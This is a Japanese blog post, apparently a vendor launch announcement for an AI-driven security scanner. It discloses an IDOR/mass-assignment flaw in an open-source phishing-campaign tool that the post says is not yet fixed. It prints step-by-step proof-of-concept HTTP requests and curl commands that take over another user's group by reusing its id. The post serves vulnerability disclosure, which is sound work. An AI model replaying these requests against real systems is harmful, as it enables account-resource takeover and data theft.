&lt;p&gt;&lt;strong&gt;当社は、これをモバイルアプリケーションに特化して深く実践している唯一のプラットフォームです&lt;/strong&gt;。現実的なエクスプロイト検証、コンポーネント横断の分析、実証レベルのエビデンスを、現在ほかのどのツールも提供していない形で組み合わせています。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Agentic Deep Scanを搭載したOstorlabプラットフォームのスキャンプロファイル画面" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-03-19_ostorlab_launches_agentic_deep_scan/agentic-deep-scan.png" title="Agentic Deep Scan：Ostorlabプラットフォームの新機能"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Agentic Deep Scan：Ostorlabプラットフォームの新機能&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="agentic deep scanが実証に裏付けられた対応可能な検出結果を提供する仕組み"&gt;Agentic Deep Scanが実証に裏付けられた対応可能な検出結果を提供する仕組み&lt;/h2&gt;
&lt;p&gt;一般的なスキャナーは、パターンやシグネチャに基づいて潜在的な問題を特定します。&lt;strong&gt;Agentic Deep Scanはさらに一歩踏み込みます&lt;/strong&gt;。すべての検出結果を現実の条件下で検証し、スクリーンショット、リクエスト/レスポンスのログ、端末のログ、段階的な再現手順といった&lt;strong&gt;実証レベルのエビデンス&lt;/strong&gt;を添えるため、チームは&lt;strong&gt;攻撃者が実際に悪用し得るリスク&lt;/strong&gt;に集中できます。&lt;/p&gt;
&lt;h3 id="サンプルスキャンで検証された検出結果"&gt;サンプルスキャンで検証された検出結果&lt;/h3&gt;
&lt;p&gt;Agentic Deep Scanは、稼働中のアプリケーションに潜む、現実的で対応可能なリスクを明らかにします。たとえば当社の&lt;strong&gt;サンプルレポート&lt;/strong&gt;では、&lt;a href="http://VulnBank.org"&gt;&lt;strong&gt;VulnBank.org&lt;/strong&gt;&lt;/a&gt;におけるJWT認証バイパスを含む、&lt;strong&gt;12件のクリティカルな検出結果&lt;/strong&gt;を取り上げています。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/resources/Sample_report.pdf" rel="noopener noreferrer" style="text-align: center; display: block;" target="_blank"&gt;
&lt;figure&gt;&lt;img alt="Agentic Deep Scanサンプルレポートの表紙" class="no-zoom img-fluid" src="https://blog.ostorlab.co/static/img/2026-03-19_ostorlab_launches_agentic_deep_scan/agentic-deep-scan-sample-report.png" title="Agentic Deep Scanサンプルレポート"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Agentic Deep Scanサンプルレポート&lt;/figcaption&gt;&lt;/figure&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;div style="text-align: center; margin: 20px 0"&gt;
&lt;a href="https://ostorlab.co/resources/Sample_report.pdf" style="background-color: #0081ba; color: white; padding: 10px 20px; text-decoration: none; border-radius: 5px;" target="_blank"&gt;サンプルPDFレポートを見る&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="http://VulnBank.org"&gt;VulnBank.org&lt;/a&gt;におけるJWT認証バイパス&lt;/strong&gt;により、攻撃者は昇格した権限（&lt;code&gt;is_admin: true&lt;/code&gt;）を持つトークンを偽造でき、&lt;code&gt;/admin/create_admin&lt;/code&gt;や&lt;code&gt;/admin/approve_loan/{loan_id}&lt;/code&gt;といった管理者専用のエンドポイントにアクセスできました。&lt;/p&gt;
&lt;p&gt;これは、認証と認可の弱点が現実の条件下でどのように悪用され得るか、そしてAgentic Deep Scanが&lt;strong&gt;実証レベルのエビデンス&lt;/strong&gt;を提供することで、チームが確信を持って問題を再現し修正できることを示しています。&lt;/p&gt;
&lt;h2 id="agentic deep scanが発見した現実の脆弱性"&gt;Agentic Deep Scanが発見した現実の脆弱性&lt;/h2&gt;
&lt;p&gt;Agentic Deep Scanを実際のアプリケーションで実行したところ、これまで知られていなかった脆弱性が複数見つかりました。一部の検出結果は、広く使われているオープンソースプロジェクトでまだ修正待ちの状態であり、このスキャナーの有効性と実践的な効果を示しています。&lt;/p&gt;
&lt;p&gt;これらの検出結果の中でも、その重大度で際立っていたものがあります。リソースを完全に乗っ取ることができる、単純なAPIロジックの欠陥です。ここでは、Agentic Deep Scanがこれをどのように発見し、悪用し、具体的なエビデンスでその影響を実証したかを紹介します。&lt;/p&gt;
&lt;h3 id="説明"&gt;説明&lt;/h3&gt;
&lt;p&gt;リソースを作成するAPIエンドポイントは、POSTリクエスト内の'id'パラメーターが既存のリソースにすでに関連付けられていないかを検証していません。攻撃者がPOSTリクエストに既存のリソースIDを含めると、アプリケーションは新しいリソースを作成する代わりに、そのリソースの所有権を攻撃者に移してしまいます。これにより、機密のフィッシング素材、標的のメールアドレス一覧（GDPR違反）、認証情報を収集するページ、メール送信インフラが丸ごと盗まれる可能性があります。&lt;/p&gt;
&lt;h3 id="根本原因"&gt;根本原因&lt;/h3&gt;
&lt;p&gt;リソースを作成するAPIエンドポイント（&lt;code&gt;POST /api/groups/&lt;/code&gt;、&lt;code&gt;POST /api/templates/&lt;/code&gt;、&lt;code&gt;POST /api/pages/&lt;/code&gt;、&lt;code&gt;POST /api/smtp/&lt;/code&gt;）は、リクエストボディ内の&lt;code&gt;id&lt;/code&gt;パラメーターを、そのIDがすでに別のユーザーのリソースに属しているかどうかを検証せずに受け付けます。既存のIDが指定されると、アプリケーションは新しいリソースを作成する代わりにそのリソースを更新（乗っ取り）し、所有権を認証済みの攻撃者に移します。&lt;/p&gt;
&lt;h3 id="脆弱なコードパターン"&gt;脆弱なコードパターン&lt;/h3&gt;
&lt;p&gt;APIハンドラーは、&lt;code&gt;id&lt;/code&gt;フィールドを含むJSONボディ全体を受け付けます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// Endpoint pattern vulnerable to IDOR&lt;/span&gt;
&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;HandleFunc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/api/groups/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;mid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;as&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;UseGroups&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;mid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;RequireAPIKey&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ハンドラーは受信したJSONを、&lt;code&gt;id&lt;/code&gt;フィールドを除去も検証もせずにそのまま処理するため、既存のリソースIDのマスアサインメントが可能になります。&lt;/p&gt;
&lt;h3 id="悪用のエビデンス"&gt;悪用のエビデンス&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ステップ1 - 管理者が機密の標的グループを作成する：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;POST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/api/groups/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;HTTP/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;
&lt;span class="err"&gt;Au&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;horiza&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;io&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Bearer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;admi&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;&lt;span class="err"&gt;_api_key&amp;gt;&lt;/span&gt;
&lt;span class="err"&gt;Co&lt;/span&gt;&lt;span class="kc"&gt;ntent&lt;/span&gt;&lt;span class="mi"&gt;-&lt;/span&gt;&lt;span class="err"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;applica&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;io&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;&lt;span class="err"&gt;/jso&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"CONFIDENTIAL_TARGETS"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"targets"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"john.victim@testcorp.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"first_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"John"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"last_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Victim"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"jane.target@testcorp.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"first_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Jane"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"last_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Target"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bob.doe@financial.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"first_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Bob"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"last_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Doe"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="err"&gt;Respo&lt;/span&gt;&lt;span class="kc"&gt;nse&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;HTTP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;201&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Crea&lt;/span&gt;&lt;span class="kc"&gt;te&lt;/span&gt;&lt;span class="err"&gt;d&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;106&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"CONFIDENTIAL_TARGETS"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"targets"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;ステップ2 - 攻撃者（user_b）がID 106を指定してグループを乗っ取る：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;POST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/api/groups/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;HTTP/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;
&lt;span class="err"&gt;Au&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;horiza&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;io&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Bearer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;a&lt;/span&gt;&lt;span class="kc"&gt;tta&lt;/span&gt;&lt;span class="err"&gt;cker_api_key&amp;gt;&lt;/span&gt;
&lt;span class="err"&gt;Co&lt;/span&gt;&lt;span class="kc"&gt;ntent&lt;/span&gt;&lt;span class="mi"&gt;-&lt;/span&gt;&lt;span class="err"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;applica&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;io&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;&lt;span class="err"&gt;/jso&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;106&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"STOLEN_GROUP"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"targets"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="err"&gt;Respo&lt;/span&gt;&lt;span class="kc"&gt;nse&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;HTTP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;201&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Crea&lt;/span&gt;&lt;span class="kc"&gt;te&lt;/span&gt;&lt;span class="err"&gt;d&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;106&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"STOLEN_GROUP"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"targets"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;ステップ3 - 所有権の移転を確認する：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Admi&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;a&lt;/span&gt;&lt;span class="kc"&gt;tte&lt;/span&gt;&lt;span class="err"&gt;mp&lt;/span&gt;&lt;span class="kc"&gt;ts&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;access&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;heir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;ow&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;group&lt;/span&gt;
&lt;span class="err"&gt;curl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-&lt;/span&gt;&lt;span class="err"&gt;k&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;h&lt;/span&gt;&lt;span class="kc"&gt;tt&lt;/span&gt;&lt;span class="err"&gt;ps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//34.55.131.240:3333/api/groups/106 \&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;-&lt;/span&gt;&lt;span class="err"&gt;H&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'Au&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;horiza&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;io&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Bearer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;admi&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;&lt;span class="err"&gt;_api_key&amp;gt;'&lt;/span&gt;

&lt;span class="err"&gt;Respo&lt;/span&gt;&lt;span class="kc"&gt;nse&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;HTTP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;No&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Fou&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;&lt;span class="err"&gt;d&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Group not found"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"success"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;A&lt;/span&gt;&lt;span class="kc"&gt;tta&lt;/span&gt;&lt;span class="err"&gt;cker&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;accesses&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;he&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;s&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;ole&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;group&lt;/span&gt;
&lt;span class="err"&gt;curl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-&lt;/span&gt;&lt;span class="err"&gt;k&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;h&lt;/span&gt;&lt;span class="kc"&gt;tt&lt;/span&gt;&lt;span class="err"&gt;ps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//34.55.131.240:3333/api/groups/106 \&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;-&lt;/span&gt;&lt;span class="err"&gt;H&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'Au&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;horiza&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;io&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Bearer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;a&lt;/span&gt;&lt;span class="kc"&gt;tta&lt;/span&gt;&lt;span class="err"&gt;cker_api_key&amp;gt;'&lt;/span&gt;

&lt;span class="err"&gt;Respo&lt;/span&gt;&lt;span class="kc"&gt;nse&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;HTTP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;OK&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;106&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"STOLEN_GROUP"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;脆弱であることが確認されたその他のエンドポイント：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;POST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/api/&lt;/span&gt;&lt;span class="kc"&gt;te&lt;/span&gt;&lt;span class="err"&gt;mpla&lt;/span&gt;&lt;span class="kc"&gt;tes&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;HTTP/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;
&lt;span class="err"&gt;Au&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;horiza&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;io&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Bearer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;a&lt;/span&gt;&lt;span class="kc"&gt;tta&lt;/span&gt;&lt;span class="err"&gt;cker_api_key&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;113&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"STOLEN_TEMPLATE"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"subject"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HACKED"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"html"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="err"&gt;Respo&lt;/span&gt;&lt;span class="kc"&gt;nse&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;HTTP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;201&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Crea&lt;/span&gt;&lt;span class="kc"&gt;te&lt;/span&gt;&lt;span class="err"&gt;d&lt;/span&gt;

